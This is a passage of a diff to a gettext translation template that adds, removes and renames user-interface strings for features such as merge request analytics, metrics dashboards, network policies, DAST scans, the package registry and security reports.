-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
